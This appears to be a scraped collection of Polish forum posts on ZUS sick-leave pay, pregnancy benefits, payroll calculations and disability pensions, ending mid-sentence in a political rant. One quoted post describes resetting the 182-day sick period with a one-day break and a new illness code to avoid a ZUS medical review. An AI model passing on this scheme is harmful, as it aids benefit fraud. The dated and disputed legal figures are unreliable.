Będąc 7 miesiąc na zwolnieniu lekarskim z powodu ciąży też dostałam "zaproszenie". Komisja: osób szt.1, bardziej chciała zobaczyć czy osoba na którą ZUS wypłaca zasiłek chorobowy jest rzeczywiście w ciąży( akurat w tym miesiącu już bardzo było widać . Sprawdzono też zgodność moich zeznań z adnotacją lekarza prowadzącego (tj. jakie leki, dlaczego zwolnienie) Po wizycie, w tv widziałam program o oszustwach na wielką skalę typu lewe zwolnienia płatne - chory w górach śmiga na nartach albo remont robi za pieniądze państwowe. Nic dziwnego że ZUS kontroluje osoby którym wypłaca pieniądze. Wiem też, że pracownik ZUS-u ma prawo skontrolować w domu (z nienacka) osobę przebywającą na zasiłku. Trzymaj się i pamiętaj że jesteś w "okresie ochronnym". Toszanka
pan_pndzelek napisał:

> ZWOLNIENIA LEKARSKIE POWINNY BYĆ BEZPŁATNE!!! Masz życzenie
chorować? Proszę
> bardzo, ale za swoje pieniądze, a nie za pieniądze Pracodawcy
bądź

Widze ze panu zdrowie dopisuje.

Placimy niemale pieniadze na ZUS i zwolnienia sa i powinnny byc
platne.
Bezplatne zwolnienia to likwidacja polowy ZUSu. Moze to i dobre
rozwiazanie. Lepiej wtedy ubezpieczyc sie na wypadek choroby w
innej firmie.

jj
ZUS i płatności
Cześć dziewczyny! Ile czasu trwa rozpoczęcie płatności przez ZUS na zwolnieniu lekarskim? Ja jestem na zwolnieniu od połowy maja. Od połowy czerwca ZUS powinien wypłacać mi zasiłek (informacja z RMUA). Do tej pory jeszcze nic nie dostałam. Czy to tyle trwa? Trochę mnie to załamuje, bo jak to jest w takim tempie to nie będę miała nawet na wyprawkę dla dziecka. A długi rosną bo żyć z czegoś trzeba. Napiszcie jak to było u Was, ile to trwało i w jaki sposób się to odbywa (przekaz pocztowy czy jakoś inaczej)? W mojej firmie pracuje mniej niż 20 osób (to podobno ma jakieś znaczenie). Pozdrawiam. Renata
Czy ZUS szykuje jakies zmiany dla nas?
Czy cos Wam wiadomo dziewczyny, czy ZUS coś zmienił w naszych zwolnieniach
lekarskich, tj. płatnosciach (do tej pory było 100%), naliczaniu sredniej
itp. Oraz o urlopach macierzyńskich???
Pozdrawiam.
Gagatku, trzeba być zatrudnionym 30 dni, aby nabyć prawo do płatnego zwolnienia
lekarskiego. Płatne 100% przy zwolnieniu ciążowym. Pierwsze 33 dni płaci
pracodawca, od 34 dnia każdy następny płaci ZUS.
Ja bym nie podpisywała aneksu
tylko poszła na zwolnienie lekarskie do końca ciąży
(pensje i tak wypłacałby ZUS - (średnią z ostatnich 6-ciu lub 12-tu m-cy, nie
jestem pewna jak to teraz jest) no i zwolnienie lekarskie w przypadku ciąży
jest płatne 100%)
po macieżyńskim i tak nie wiadomo czy firma nie wykręci numeru i nie wręczy
wypowiedzenia (na urlopie macieżyńskim rozglądałabym się za inną pracą, tak na
wszelki wypadek, zeby nie zostac na lodzie)
ja mam nie-za-wielki staż pracy (10 lat), w tym czasie pracowałam w 3 różnych
firmach i jeszcze mi sie nie zdazyło, zeby lojalnosc wobec firmy przyniosła mi
jakąkolwiek korzysc...
z grypą i gorączką przychodziłam do pracy, w kadrach wręczałam zwolnienie i
szłam do swojego pokoju pracować, ktoś zapyta to po co brałam zwolnienie???,
choćby po to że mogłam wtedy przyjsc do pracy 2 godz później jesli np nie
mogłam sie zwlec z łóżka, a wtedy mój przełozony (dyrektor działu) nie czepiał
sie. Niestety później okazało się, ze na moje skromne pytanie czy mogłabym
czasem odebrac jakis dzień wolny za: pracę na chorobowym lub pracę w
nadgodzinach (nadgodziny niepłatne), dano mi do zrozumienia że moja prośba jest
w ogóle nie na miejscu.
ba.., będąc w ciąży moja gin ciągle namawiała mnie na zwolnienie, ale nie
dawałam się, żyłam życiem firmy, własciwie 80% swojego wolnego czasu
przeznaczałam również firmie, aż w koncu w 6 m-cu wylądowałam w szpitalu,
urodziłam przedwczesnie, na szczęście wszystko dobrze się skończyło.
do pracy też wróciłam szybko, macieżynski był krótki - 4 m-ce, ale od tamtej
pory koniec z przesadną lojalnoscią wobec firmy,
mam zasadę: pracuję po to żeby żyć, a nie po to żeby pracować
nie wiadomo tez jakie bedzie jutro...
zastanów się co dla Ciebie jest ważniejsze
1. dla firmy, niezależnie od zajmowanego stanowiska, jesteś tylko pracownikiem,
a kazda firma z reguły kieruje się zasadą - wyciągnąć maximum za minimum
2. dla swojego dziecka to Ty będziesz całym światem
jak już zostaniesz mamą, sama zobaczysz jak wszystko Ci się przewartościuje, np
to co dotychczas było ważne, może zupełnie przestać się liczyć,
tego uczucia najczęściej doświadczają rodzice kiedy rodzi im sie pierwsze
dziecko i osoby które wyszły z ciężkiej choroby

choć wybór jest trudny życzę Ci żebyś dokonała najlepszego wyboru dla siebie,
żebyś mogła zyć w zgodzie z własną sobą i z własnym sumieniem.

pozdrawiam
malinowaa
umowa zlecenie a zwolnienie lekarskie
Mam umowe zlecenie na rok (do 31.08.2005) ale w kwietniu urodzę dziecko. Czy
mogę teraz pójść na zwolnienie i czy będzie ono płatne (ZUS czy pracodawca?)
jesli masz RMUA z 12 miesięcy wstecz lub dokładną kwotę brutto wynagrodzenia
(podstawę skłądek emerytalno-rentowych)to mogę pomóc Ci to dokładnie wyliczyć.
więc tak dziewczyny to wygląda, podam na przykładzie:
Zwolnienie lekarskie zaczyna się 01.11.xxxx do 30.11.xxxx i jest wynagrodzeniem
chorobowym (bo pierwsze 33 dni L4). Osoba ta przez ostatnie 12 miesięcy nie
chorowała, to czy przebywała na urlopie wypoczynkoym nie jest ważne.
Zeby obliczyć podstawę wynagrodzenia chorobowego należy zsumować wynagrodzenia
brutto z 12 miesięcy wstecz- w tym wypadku od listopada do października (w
przykładzie wynagrodzenie jest stałe ale jak macie zmienne to nie ma znaczenia).
Listopad 1200 zł
Grudzień 1200 zł
Styczeń 1200 zł
Luty 1200 zł
Marzec 1200 zł
Kwiecień 1200 zł
Maj 1200 zł
Czerwiec 1200 zł
Lipiec 1200 zł
sierpień 1200 zł
Wrzesien 1200 zł
Październik 1200 zł
1200 zł x 12 miesięcy = 14400 zł / 12 miesięcy = 1200 zł.
teraz należy podstawę odbruttowić czyli 1200 zł x 18,71 % = 224,52 zł
dalej 1200 - 224,52 zł = 975,48 zł (wynagrodzenie odbruttowione)
Jesli wynagrodzenie jest za okres ciazy to płatne 100% więc nie zmniejszamy
(gdyby zwykłe to wyciagamy z tej kwoty 80%)
nastepnie 975,48 zł / 30 dni (wskaźnik ZUS) = 32,516 zł
i dalej mnożymy przez liczbę dni choroby - w naszym przypadku przez 30 bo cały
listopad.
32,516 x 30 = 975,48 zł.
Teraz z tego obliczamy:
975,48 zł x 19% = 185,25 zł (nie mamy prawa do kosztów uzyskania bo nie było nas
cały miesiąc) z tego jeszcze ulga podatkowa 44,17 zł
czyli podatek należny do US to 185,25 - 44,17 = 141,08 zł
975,48 zł x 0,75 % = 7,32 zł (składka zdrowotna z naszej kieszeni)
975,48 zł x 7,75 % = 75,60 zł (skladka zdrowotna z podatku)
i teraz otrzymujemy kwotę netto do ręki:
975,48 - 141,08-7,32= 827,08 zł.
Jeśli to już zasiłek chorobowy to zyskujemy 7,32 zł bo nie płacimy zdrowotnej.

Mam nadzieję ze trochę rozjasniłam, chociaż jak na to patrze to coś
skomplikowane wyszło.
Oj wydaje mi się że tak jest !!!! pójście przed porodem na zwolnienie lekarskie
wystawione przez ginekologa w 100 % płatne skraca o ten okres czasu urlop
macieżyński. Czytałam o tym na stronach ZUS!!!!
ZUS przejmuje wypłacanie zasiłku chorobowego po 33 dniach zwolnienia, które
jest płacone przez pracodawcę. Nie ma znaczenia rodzaj choroby czy lekarz.
Każde zwolnienie lekarskie w ciąży jest płatne 100%.
Zlikwidujmy ZUS, płatne zwolnienia lekarskie, emerytury, zróbmy pensję
minimalną na poziomie 60 dolarów miesięcznie i będziemy się rozwijać że ho ho!!
Nigdy nie zrezygnowałam z pracy(ani myślę!)Choć było cięzko,robiłam sobie
przerwy(bez płatne)i mocno musiałam ją"okroić"z wielu waznych i potrzebnych
funkcji,ponieważ choroba powoli acz skutecznie,eliminowała pewne dziedzony
mojego zawodu.To. ze bolał mnie kręgosłup(jak szlag!)to mozna było zwalić na
przebyte urazy(przez sport do kalectwa)Kłopoty ze sercem i to dość
powazne,alergia skórna i astma,pogorszenie widzenia-mgła.Pomału dochodziły bóle
wszystkich stawów i mięsni z utratą w nich siły,a na koniec osłabieniem całego
organizmu(dolną część bielizny ubierałam na siedząco w towarzystwie ciurkiem
płynącego potu i łapaniem tchu jak ryba)Siedziałam wtedy bezradna i myślałam:jak
długo taki stan wytrzymam,którego końca nie widać!Tylko dzięki mojej
pracy,(wchodzę w inny wymiar,najlepsza terapia psychiczna)nie zwariowałam!(no,
nie jestem tak do końca przekonana co do tego,ale w dwóch różnych butach jeszcze
nie chodzę!)którą tak sobie zorganizowałam,ze choroba może mnie pocałować.Do
lekarzy nie łaziłam,bo i po co? fibromialgia to tylko zespoł bólowy.Co ja miałam
"jęczeć"zeby ktoś zrozymiał!Uwierzył!Ratowalam się akupunkturą,dzięki której
omijały mnie "garście"leków przeciwbolowych.
Ze zwolnień lekarskich korzystałam tylko ze szpitali,i dwa razy wcisnęla mi
reumatolog,przy czym to drugie zwolnienie(14dni)odebrano mi po 8
dn.(orzec.ZUS)mówiąc,ze przy takim trybie pracy(plastyk)to nie ma wskazania do
zwolnienia.Przy okazji zasugerowała,ze może bym się włączyla do pewnej akcji
charytatywnej na rzecz tutejszego szpitala.Z nabytej(moze wrodzonej?) i
sprawdzonej mi przypadłości odpowiedziałam uprzejmie acz stanowczo: g o ń s i
ę!!! i wyszłam.
Na tym zakończyłam chodzenie na L-4.Kiedy okazało się,ze jestem boleryczką i mam
dodatkowo chorobę,która jest ch.neurologiczną o b.duzych obiawach
bólowych(chroniczna ospa/półpasiec)jestem na siebie wściekła,ze nie umiałam
wcześniej walczyć o swoje!
Teraz jestem na zwolnieniu i czekam kiedy ZUS poprosi mnie na dywanik.
"Rolę"szlifuję na blachę.
jakoś zaponiałam, że kiedyś w tym watku coś tam napisałam i nie podjęłam obrony
mojego zdania.
Nie myslę jak homo sovietucus, ani że od państwa wszystko mi się nalezy.
Autorka wątku zapytała, co mnie by zachęciło do urodzenia kolejnego dziecka,
więc odpowiedziałam - płatny urlop wychowawczy.
Wiem, że to ideał, który w Polsce będzie możliwy za 50 lat, a może nigdy. Ale
tak dzieje się w większości krajów Europy Zach. Np. w Norwegii, kobieta po
urodzeniu dziecka może być cały rok (!) na pełnopłatnym urlopie macierzyńskim,
a potem na urlopie wychowawczym, gdzie otzrymuje bodajże 70 - 80%
dotychczasowego wynagrodzenia. Wysokie zasiłki wychowawcze otzymują kobiey w
Niemczech, Danii, Francji, więc nie jest to moja fanaberia, tylko marzenie o
Polce jako państwie opiekuńczym.
ZUS zabiera co miesiąc niecałe 30% moich dochodów, odprowadzam na składkę ok.
300 złotych miesięcznie. Dodatkowo, gdy pracuję na umowę zlecenie zabierana
jest dodatkowa składka na chorobowe. Uważam, że to kupa pieniędzy, a zdaję
sobie sprawę z tego, że połowa tych pieniędzy przecieka w tym molochu bokami.
ZUS prowadzi fatalna gospodarkę finansową i dobrze o tym wiesz. Z tego co jest
mi zabierane mogłabym miec godziwą emeryturę i wychowac 5 dzieci na
wychowawczym, ale niestety, moje składki zasilają lewe renty, lewe zwolnienia
lekarskie, wybujałe pensje i premie pracowników oraz budowę pałacy - biurowców
jakie ZUS lubi sobie stawiać ( w moim miescie mam taki).
I wiem, że płatne urlopy to nie tylko moje marzenie, ale wielu kobiet
znajdujących się w podobnej sytuacji finansowej. Jestem nauczycielką, mój mąz
również pracuje w szkolnictwie, więc pansje mamy takie sobie. Dwie zebrane do
kupy -da się przeżyć i czasem pozwolic na przyjemności. Skończyliśmy studia,
jesteśmy ludźmi po 30 - więc zrozumiałe że chcemy stabilizacji finasowej. Mój
mąz nie utrzyma ze swojej tylo pensji 4 osobowej rodziny. Wrócę do pracy po 3
miesiącach urlopu macierzyńskiego i 500 zł ( co najmniej) z moich 1300 będę
musiała oddać opiekunce do dziecka. Gdzie tu sens?
W tym kraju jest tysiące kobiet, które na wspólni z meżem niosą cieżar
utrzymania rodziny. Ich nie stać na dziecko, po prostu, a państwo podejmuje
durne działania typu becikowe, zamiast zastanowić się , w jaki sposób ułatwić
kobiecie egzystencję juz po urodzeniu dziecka (powrót do pracy, przedszkola i
żłobki przy zakładach pracy itd).
i jeszcze jedno - gdybym w moim zawodzie miała godziwe zarobki, stać byłoby
mnie na opiekunkę, a mój mąż mógłby utrzymać rodzinę w czasie mojego urlopu
wychowawczego. Ale to juz zupełnie inna bajka.
a wiecie, ze L4........

To jest cytat z forum ciaza i porod
forum.gazeta.pl/forum/72,2.html?f=585&w=31703727

"Dokladnie przeanalizowalam podobny przypadek do Twojego. Tez jestem w ciazy
na
L4 ale poniewaz pracuje w kadrach dokladnie przygotowalam sie do tego co mnie
czeka. Oczywiscie zwolnienie ciazowe jest platne 100% wynagrodzenia ale
liczone
ze sredniej z 12 miesiecy. To ze mozna chorowac 6 miesiecy, a dokladnie 182
dni
to prawda. Pozniej przysluguje swiadczenie rehabilitacyjne do konca ciazy,
ale
o jego przyznaniu decyduje juz lekarz orzecznik ZUS. Wiec jesli zwolnienia
dotychczasowe sa szyte grubymi nicmi, to swiadczenia mozna nie dostac. W
przypadku ciazy swiadczenie rehabilitacyjne platne jest rowniez 100%
(napewno,
sprawdzilam dokladnie).
Zeby uniknac komisji lekarskiej w ZUS po tych 182 dniach choroby - mozna
zorbic
tak: Powiedzmy ok. 5 miesiaca choroby zrobic jeden dzien przerwy w zwolnieniu
lekarskim (najlepiej jak bedzie to sobota lub niedziela, zebys nie musiala
isc
do pracy) a pozniej zachorowac na inny symbol choroby. Do Zusu idzie
zwolnienie
z symbolem choroby wiec nie beda sie czepiac. Ten manewr spowoduje ze
pracodawca bedzie zaczac zliczac okres zasilkowy, tzn. owe 182 dni poprosu od
nowa, a to juz wystarcza zeby urodzic.
A zeby bylo jeszcze jasniej dla pracodawcy - to zrobic przerwe 1 dzien -
przyniesc kolejne zwolnienie od internisty - a pozniej od swojego gina !"

Co wy na to???
Bo ja faktycznie w 1-szej ciazy na pare dni wrocilam do pracy, ze szczerymi
checiami, i anginy sie nabawilam. I nie bylam wzywana do Zuzu, z reszta nawet
nie wiedzialam, zze vos takiego jest jak 182 dni zwolnienia, a potem trzevba
zalatwiac zasilek w Zusie

pozdr

Kaska
globalnie
Rzeczywiście mogłabyś wystąpić do sądu pracy z powództwem tzw. ustalającym
istnienie stosunku pracy. Definicję stos. pracy zawiera art. 22 par 1 KP -
...pracownik zobowiązuje się do wykonanywania pracyokreślonego rodzaju na
rzecz pracodawcy i pod jego kieronictwem... Masz więc szansę wygrać tę sprawę.
Jest ona zwolniona z kosztów i powództwo to mogłby nawet wytoczyć inspektor
pracy. Ale mimo przepsisów w KPC majacyh na celu przyspieszenie rozpatrywania
tych spraw niestety, trochę one trwają. W Warszawie np. około roku. Zawsze
oczywiście warto walczyć o sowje prawa. Ale może lepiej w tej sytuacji byłoby
pojść powiedzieć o co chodzi i wtedy zostanie z tobą zawarta umowa o pracę
choćby na czas określony. Zapłacą za Ciebie składki, w przypadku umowy o pracę
wystarczy 30 dni ubezpieczenia chorobowego. Ale wtedy jest ryzyko - w momencie
pójścia na zwolnienie lekarskie, że ZUS dojdzie do wniosku, ze było to fikcyjne
zatrudnienie i jest to wyłudzenie zasiłku. Ale z drugiej strony miałaś z nimi
tyle lat zlecenie wiec to stawia sprawę w trochę lepszym świetle. Niestety sady
pracy często potwierdzają stnaoiwsko ZUS ( mam koleżankę sędzię w sądzie pracy
i rozmawiałam z nią na ten temat ). Może jak już uda ci sie uzyskać te umowę o
pracę to wtedy wystąpisz do sądu o ustalenie, ze w poprzednim okresie to też
byla umowa o pracę ale trzeba tu mieć na uwadze 3letni okres przedawnienia z
KP. Czyli te skladki odprowadzą za Ciebie za 3 lata wstecz. Ale z drugiej
strony moze mogłabyś dalej z nimi wspołpracować i mieć z tego nadal pieniądze a
tak jak już zaczniesz wojnę to wiadomo jak to się może skończyć. Urlop
wychowawczy przysługuje w sytuacji gdy pozostawlao się w stosunku pracy 6
miesiecy. Z macierzyńskim musiałbym sprawdzić. Nie pamiętam czy przepisy
określają jakiś okres zatrudnienia, żeby przysługiwal macierzyński.

Odnośnie w ogole umowy zlecenia to może być tak, że są płacone wszystkie
skladki czyli chor, emeryt, rent itd. Ale urlop się nie należy bo to umowa
cywilnoprawna. A oczywiscie od umowy o dzielo to może byc tak, że tylko składka
zdrowotna i nic poza tym. Urlop - wykluczoine, oczywiscie, płatne zwolnienie
lekarskie - to samo.

Jak masz jakieś pytania to pisz - może będę umiala odpowiedzieć. Przynjamniej
się postaram. Tylko zachowaj w swoich dzialanich rozwagę i dobrze wszystko
przemyśl.
zwolnienie podczas ciąży
Witam,
I ja chciałabym poprosić o poradę w bardzo popularnym temacie na tym forum.
W firmie, której pracuję zajmuję się też m.in. płacami i ZUS (firma zatrudnia
do 20 pracowników), ale nie wszystko jeszcze wiem, szczególnie, jeśli chodzi
o okres ciąży, urlopu macierzyńskiego, bo jestem jedyną kobitką w pracy i w
chwili obecnej jest to dla mnie nowość i dopiero uczę się tego przypadku. Nie
chciałabym błędnie wypełnić sobie deklaracji, no i oczywiście wypłacić mniej
pieniążków.

Od 3 miesięcy jestem w ciąży i w chwili obecnej jestem na zwolnieniu
lekarskim z kodem B. Wiem, że od 8 lutego podstawę wylicza się z 12 miesięcy
(kwota brutto po odjęciu składek na ubezpieczenie społ.).
Mam zatem pytania. Moja dotychczasowa podstawa brutto to 2960 zł i nie
zmieniała się przez ostatnie 12 miesięcy. Czyli podstawa po odjęciu składek
ZUS to 2406,18zł.Do tej pory w deklaracji RNA podstawa do ubezp.spol. to
2960zł a do ubezp. zdrowotnego to 2406,18zł.
Jak powinna wyglądać teraz moja deklaracja (4 dni zwolnienia lekarskiego-
płatne 100%), czy mam wpisać też 2960 zł (nic się nie zmienia), czy 2406,18zl
(średnia z ostatnich 12 miesięcy - składki), czy tak jak przy wyliczaniu
wynagrodzenia chorobowego wypełniam druk RSA z kodem (chyba 331-
wynagrodz.chorob finansowane ze środków pracodawcy), wpisuje kwotę: 320,80zł
(100%).Potem w RNA jako podstawa to 2565,32zł i dalej jak przy wynagrodzeniu
chorobowym. Ale według tego to jestem raczej stratna.
Nie wiem jak to obliczyć. Proszę pomóżcie

Nurtują mnie jeszcze inne pytania.
1. Jaką podstawę będę musiała sobie przyjąć będąc na urlopie macierzyńskim?
Prawdopodobnie będę to robić w domu na umowę zlecenie.
Czy znowu będzie to kwota 2960zł czy średnia z 12 miesięcy - Zus czyli
2406,18 zł czy może jeszcze inaczej? Poprostu zgłupiałam.

2. Będę rodzic na początku września. Planuje: najpierw urlop macierzyński,
który prawdopodobnie skończy mi się pod koniec grudnia 2005. Potem zaległy
urlop wypoczynkowy za 2005r, urlop za 2006 r no i pewnie wychowawczy. Ale
zastanawiam się, czy będzie mi się dwukrotnie należało świadczenie urlopowe
(u mnie jest wypłacane)za 2005r wypłacone najpóźniej 1 dzień przed urlopem,
czyli powiedzmy w grudniu no i drugi raz już za 2006 r?

pozdrawiam i liczę na jakąś pomoc
DZIEWCZYNY AZ MI SIE NIE CHCE WIERZYC W TO CO WY MOWICIE! Dlaczego
tak pokornie to przyjmujecie?

Nie dajcie sobie wmowic, ze musicie isc na macierzynski przed
terminem porodu. Nieswiadomym lekarzom uzmyslowcie, ze 2 tygodnie z
dzieckiem w domu to bardzo duzo!!!

ZUS sugeruje lekarzom, zeby wysylali dziewczyny na macierzynski jak
najwczesniej, bo wtedy automatycznie placi za zwolnienie o dwa
tygodnie krocej.
Wg kodeksu pracy mozecie isc na ten urlop wczesniej na 2 tygodnie
ale nie musicie
.
Wiem, ze latwo mowic, ale ja mialam dokladnie taka sama sytuacje - w
36 tc moj gin powiedzial mi, ze nie wypisze mi L4 do terminu porodu
bo nie moze. SIC! Nieprawda. Poszlam do innej lekarki, ktora
wypisala mi zwolnienie do terminu porodu, a potem "nieoficjalnie"
powiedziala mi o zaleceniach ZUSu, stad wiem.
Nastepnie trafilam do szpitala, w ktorym chce rodzic na wizyte - tam
ginka powiedziala, ze jesli nie urodze w terminie, na nastepny dzien
mam przyjechac do nich po przedluzenie zwolnienia.

NIE DAJCIE SIE!!!

Gwoli formalnosci: urlop macierzynski AUTOMATYCZNIE rozpoczyna sie w
dniu po porodzie, ZUS dowiaduje sie o porodzie przeciez i tak, bo
pryeszlacie informacja nt. zasilku macierzynskiego. Jesli
urodzilyscie w trakcie trwania zwolnienia lekarskiego - owo
natychmiast jest przerywane (bez zadnych dodatkowych formalnosci) i
leci Wam macierzynski. I nie dajcie sobie wmowic, ze lekarz czy Wy
bedziecie mialy z tego powodu jakies nieprzyjemnosci. Bzdura. I ich
wygodnictwo i cwaniactwo ZUSu.

A jesli traficie a wyjatkowo opornego goscia, idac do internisty lub
lekarza innej specjalnosci dopilnujcie, zeby na zwolnieniu wpisana
byla kategoria B (platne 100%) - przeciez fakt, ze macie np. katar
nie dyskwalifikuje Waszego bycia w ciazy... Od swojej kadrowej
dowiedzialam sie, ze wtedy do takiego zwolnienia nalezy dolaczyc
oryginal zaswiadczenia, ze jest sie wciazy i po sprawie.

Qrde, az sie noz w kieszeni otwiera, ze musimy sie z takimi sprawami
uzerac na chwile przed porodem...
Chybaże zadeklarowałaś aby pracodawca odprowadzał dobrowolną składkę chorobową.
Nie pamiętam tylko ile tych składek musi wpłynąc do ZUS-u aby przysługiwało Ci
płatne zwolnienie lekarskie. Najlepiej będzie jak zadzwonisz do ZUS-u i
popytasz.
przepraszam prawei zapomniaam o tym watku...
bo w caych przygotowaniach odechcialo mi sie szukac:P i mama
napisala podanie o 8 dniowy urlop.

no ale wlasnie o to:
Re: Mam pytanie.
ib_k 30.10.08, 18:41 Odpowiedz kokolores napisała:

> Chodzi o to czy taka (przyszla) babcia ma prawo do wziecia
zwolnienia lekarskiego z tytulu cc swojej corki i opieka nad nia

Tak ma prawo dostać zwolnienie lekarskie (popularnie L4, wg ZUS
formularz ZLA)na chorego członka rodziny (na córkę w połogu) o ile
lekarz położnicy stwierdzi taką konieczność I NIE MA INNYCH CZŁONKÓW
RODZINY MOGĄCYCH TĄ OPIEKĘ SPRAWOWAĆ (czyli nie pracujących).

> Jedna dziewczyna z innego forum ,twierdzi ,ze w Polsce istnieje
przepis ktory pozwala matce na 14 dni wolnego (jako opiekun) z
tej "okazji". Stad moje pytanie ,bo nie moglam w to uwierzyc. I
dalej nie wiem ,jak mam byc szczera.
> Czy dziecko powyzej 14 lat to rowniez dorosle dziecko ?? Nie wiem
jak w Polsce

Tak to również dziecko, ale w tej sytuacji ma zastosowanie L4 z
TYTUŁU OPIEKI NAD CHORYM CZŁONKIEM RODZINY
(za innego członka rodziny uważa się małżonka, rodziców, teściów,
dziadków, wnuki, rodzeństwo oraz dzieci w wieku ponad 14 lat).
> to rozumiecie.
> Sorry ,ze tak durnowato sie dopytuje ,ale nie wiem poprostu.

Mam wrażenie że gdybyś PRZECZTAŁA to co ci poleciłam, zrozumiałabyś
bez problemu

mi chodzilo:)

Nie mialam namysli "doslownie",ze z takiej okazji,ze ja urodze babci
nalezy sie platne wolne,wiem,ze musza byc wskazania, po naturlanym
lekrza nie chcetnie wypisuja,inaczej niechetnie "daja sie
naciagnac",ale gdy sa widoczen wskazania wypisuja wlasnie L4 nad
opieke nad corka. Czyli porod nie ma tu nic do rzeczy,chodzi o
chorobe czy stan pooperacyjny ,czy powiklania poporodowe idt. CC to
operacja brzuszna jak kazda inna.

dzieki wszytskim:)
snajper55 napisał:

> Gość portalu: franekim napisał(a):
>
> > czy ja wogóle mogę iść na chorobowe po 4 dniach przepracowanych
>
> Jeśli bezpośrednio wcześniej byłeś przez co najmniej 30 dni ubezpieczony (chodz
> i
> o ubezpieczenie zdrowotne) na przykład jako zarejestrowany bezrobotny <ciach> to możesz iść na płatne zwolnienie chorobowe już
> pierwszego dnia pracy.
>
> Więcej: www.zus.pl/default.asp?p=4&id=429
>

jestes pewien tego co piszesz o zarejestrowanym bezrobotnym?

kadry.infor.pl/kadry/wynagrodzenia/rozliczanie_wynagrodzen/porady/87084,czy_okres_zarejestrowania_osoby_bezrobotnej_wlicza_sie_do_okresu_wyczekiwania_na_prawo_do_swiadczen.html
"Od 1 kwietnia br. zatrudniliśmy pracownika, który przez 5 miesięcy przed zatrudnieniem u nas był zarejestrowany w urzędzie pracy jako osoba bezrobotna i przez cały okres miał prawo do zasiłku dla bezrobotnych. Pracownik dostarczył nam zaświadczenie z urzędu pracy, z którego wynika, że między zatrudnieniem u nas a byciem zarejestrowanym jako bezrobotny nie było ani jednego dnia przerwy. Pracownik zachorował 7 kwietnia 2008 r. i ma zwolnienie lekarskie do 11 kwietnia. Czy okres, w którym pracownik był zarejestrowany w urzędzie pracy, wliczyć do okresu wyczekiwania na prawo do wynagrodzenia chorobowego? Czy pracownikowi przysługuje wynagrodzenie chorobowe?
RADA

Pracownikowi nie przysługuje wynagrodzenie za czas choroby za cały okres zwolnienia lekarskiego od 7 do 11 kwietnia 2008 r. Do okresu wyczekiwania nie należy wliczać okresu zarejestrowania w urzędzie pracy i pobierania zasiłku dla bezrobotnych.

UZASADNIENIE

Okres zarejestrowania w Powiatowym Urzędzie Pracy i okres pobierania zasiłku dla bezrobotnych nie jest tytułem do obowiązkowego lub dobrowolnego ubezpieczenia chorobowego. Dlatego w tym okresie nie można opłacać składek na ubezpieczenie chorobowe, ani obowiązkowe, ani dobrowolne. Dostarczone przez pracownika zaświadczenie z urzędu pracy jest tylko potwierdzeniem, że pracownik po rozpoczęciu wykonywania pracy został w terminie wyrejestrowany z rejestru osób bezrobotnych, które prowadzą urzędy pracy i z chwilą zatrudnienia u Państwa przestał być osobą bezrobotną. "

Człowieku, przestań w końcu wypisywać bzdury i oszukiwać ludzi potrzebujących
pomocy. Nie znasz się na prawie pracy, to nie doradzaj.
Renta zazwyczaj na początku jest okresowa. Najbardziej opłacalny finansowo
sposób jest następujący:
1) 182 dni zwolnienia lekarskiego;
2) 12 miesięcy świadczenia rehabilitacyjnego (we wniosku do ZUS-u lekarz
psychiatra pisze, że rokujesz, iż wrócisz do zdrowia);
3) wniosek o przyznanie renty (we wniosku lekarz psychiatra musi napisać, że
dalej jesteś niezdolna do pracy i że choroba przeszła w stan przewlekły, co jest
prawdą w przypadku CHAD - choroba do końca życia).
Wysokość renty zależy od uzyskiwanych wcześniej dochodów (tylko tych
oskładkowanych) i lat pracy oraz stopnia niepełnosprawności (niezdolności do
pracy). Przy orzeczeniu całkowitej niezdolności do pracy wysokość renty jest o
25% wyższa niż przy częściowej niezdolności do pracy. Chadowcy mogą liczyć na
ten korzystniejszy zapis. Nie uniemożliwia on pracy, jeśli lekarz medycyny pracy
na nią zezwoli, a tak jest bez problemu. Radzę jednak wtedy podejmować pracę w
zawodzie mniej stresującym niż przed uzyskaniem renty, albo po prostu innym. Na
stronie www.zus.pl podawane są kwoty najniższych rent, nie możesz dostać mniej.
Urlopy zdrowotne są chyba tylko w szkolnictwie. Przy umiarkowanym i znacznym
stopniu niepełnosprawności (całkowita niezdolność do pracy oraz całkowita
niezdolność do pracy i samodzielnej egzystencji) przysługuje oprócz normalnego
urlopu wypoczynkowego urlop dodatkowy 10 dni oraz płatne zwolnienie na turnus
rehabilitacyjny (razem max 21 dni). Przy odpowiednio niskich dochodach można
uzyskać dofinansowanie do turnusu rehabilitacyjnego z PFRON-u. Nie ma
specjalnych sanatoriów dla chadowców.
Aby dostać rentę dobrze jest się wykazać pobytem w szpitalu zamkniętym, albo
chociaż na oddziale dziennym. Same zwolnienia lekarskie i leczenie
ambulatoryjne, to może być za mało.
Skoro lekarz sugeruje Ci rentę, to może dobrze to załatwić, tym bardziej, że od
przyszłego roku renciści prawdopodobnie będą mogli zarabiać bez ograniczeń.
Jeśli jeszcze coś chcesz wiedzieć, pytaj.
Lewiatan działa...
... Mordasewicz w Radzie Nadzorczej ZUS i już się biorą za wszystkich, tylko
nie za pracodawców. Bo wcześniej Tusek na zlecenie Bochniarzowej pociął kodeks
pracy.
No to najpierw ZUS "pociągnie za konsekwencje" naprawdę chorych pracowników
najemnych, żeby "pracodawcy" zrzeszeni w Lewiatanie mogli ich natychmiast
zwolnić dyscyplinarnie .
Potem lekarze orzecznicy ZUS (czytaj: łapownicy w służbie polityki) ustalą, że
prawo do chorowania mają wyłącznie politycy oraz pracodawcy z Lewiatana i ich
rodziny.
Następnie ZUS wytoczy zwolnionym Kowalskim i Nowakom miliony spraw o zwrot
nienależnie pobranych świadczeń i za długi zlicytuje ich mieszkania.
Dalej GUS ogłosi, że zachorowalność spadła o 80%, dzięki czemu rząd Tuska
będzie mógł pozamykać szpitale i przychodnie, co spowoduje poważne
oszczędności w NFZ.

W efekcie ostatecznym - ZUS wybuduje swoim władzom jeszcze kilka pałaców,
zarząd i Rada Nadzorcza ZUS wypłacą sobie milionowe premie, zarządzający NFZ
wypłacą sobie milionowe premie, w Ministerstwie Zdrowia wypłacą sobie
milionowe premie, a wskutek wielkich zwolnień dyscyplinarnych w sektorze
prywatnym wzrośnie bezrobocie bez prawa do zasiłku, dzięki czemu powstaną
oszczędności w Funduszu Pracy, z czego skorzysta Ministerstwo Pracy (milionowe
premie).
Tusk zapieje z samozachwytu, bo mu się budżet zamknie i wypłaci milionowe
premie Rostowskiemu, Gradowi, Schetynie i reszcie swojej przybocznej świty.

Dla Lewiatana także same korzyści:
- duże bezrobocie bez świadczeń = obniżka najniższego wynagrodzenia do poziomu
